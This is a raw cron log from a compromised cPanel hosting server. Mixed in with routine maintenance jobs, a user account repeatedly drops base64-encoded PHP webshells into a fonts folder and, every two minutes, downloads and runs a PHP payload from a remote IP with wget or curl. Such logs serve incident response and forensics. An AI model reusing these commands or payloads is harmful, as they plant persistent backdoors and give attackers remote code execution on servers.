Aug 30 04:39:01 ip-184-168-122-23 CROND[12677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:40:01 ip-184-168-122-23 CROND[12769]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:40:01 ip-184-168-122-23 CROND[12772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:40:02 ip-184-168-122-23 CROND[12774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:40:02 ip-184-168-122-23 CROND[12776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:40:02 ip-184-168-122-23 CROND[12775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:40:02 ip-184-168-122-23 CROND[12778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:40:02 ip-184-168-122-23 CROND[12780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:40:02 ip-184-168-122-23 CROND[12779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:41:01 ip-184-168-122-23 CROND[12974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:41:01 ip-184-168-122-23 CROND[12976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:41:01 ip-184-168-122-23 CROND[12975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:41:01 ip-184-168-122-23 CROND[12977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:42:02 ip-184-168-122-23 CROND[13070]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:42:02 ip-184-168-122-23 CROND[13071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:42:02 ip-184-168-122-23 CROND[13075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:42:02 ip-184-168-122-23 CROND[13076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:42:02 ip-184-168-122-23 CROND[13077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:43:01 ip-184-168-122-23 CROND[13175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:43:01 ip-184-168-122-23 CROND[13178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:43:01 ip-184-168-122-23 CROND[13176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:43:01 ip-184-168-122-23 CROND[13177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:44:01 ip-184-168-122-23 CROND[13270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:44:01 ip-184-168-122-23 CROND[13272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:44:01 ip-184-168-122-23 CROND[13274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:44:01 ip-184-168-122-23 CROND[13273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:44:01 ip-184-168-122-23 CROND[13276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:45:01 ip-184-168-122-23 CROND[13369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:45:01 ip-184-168-122-23 CROND[13371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:45:01 ip-184-168-122-23 CROND[13375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:45:01 ip-184-168-122-23 CROND[13374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:45:01 ip-184-168-122-23 CROND[13376]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:45:01 ip-184-168-122-23 CROND[13373]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 30 04:45:01 ip-184-168-122-23 CROND[13377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:46:01 ip-184-168-122-23 CROND[13477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:46:01 ip-184-168-122-23 CROND[13479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:46:01 ip-184-168-122-23 CROND[13480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:46:01 ip-184-168-122-23 CROND[13484]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 04:46:01 ip-184-168-122-23 CROND[13482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:46:01 ip-184-168-122-23 CROND[13483]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 04:46:01 ip-184-168-122-23 CROND[13481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:47:02 ip-184-168-122-23 CROND[13706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:47:02 ip-184-168-122-23 CROND[13707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:47:02 ip-184-168-122-23 CROND[13711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:47:02 ip-184-168-122-23 CROND[13712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:48:01 ip-184-168-122-23 CROND[13796]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:48:01 ip-184-168-122-23 CROND[13795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:48:01 ip-184-168-122-23 CROND[13800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:48:01 ip-184-168-122-23 CROND[13801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:48:01 ip-184-168-122-23 CROND[13803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:49:02 ip-184-168-122-23 CROND[13928]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 04:49:02 ip-184-168-122-23 CROND[13930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:49:02 ip-184-168-122-23 CROND[13931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:49:02 ip-184-168-122-23 CROND[13932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:49:02 ip-184-168-122-23 CROND[13929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:50:01 ip-184-168-122-23 CROND[14050]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:50:01 ip-184-168-122-23 CROND[14053]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 04:50:01 ip-184-168-122-23 CROND[14055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:50:01 ip-184-168-122-23 CROND[14056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:50:01 ip-184-168-122-23 CROND[14059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:50:01 ip-184-168-122-23 CROND[14062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:50:01 ip-184-168-122-23 CROND[14057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:50:01 ip-184-168-122-23 CROND[14061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:50:01 ip-184-168-122-23 CROND[14060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:51:01 ip-184-168-122-23 CROND[14264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
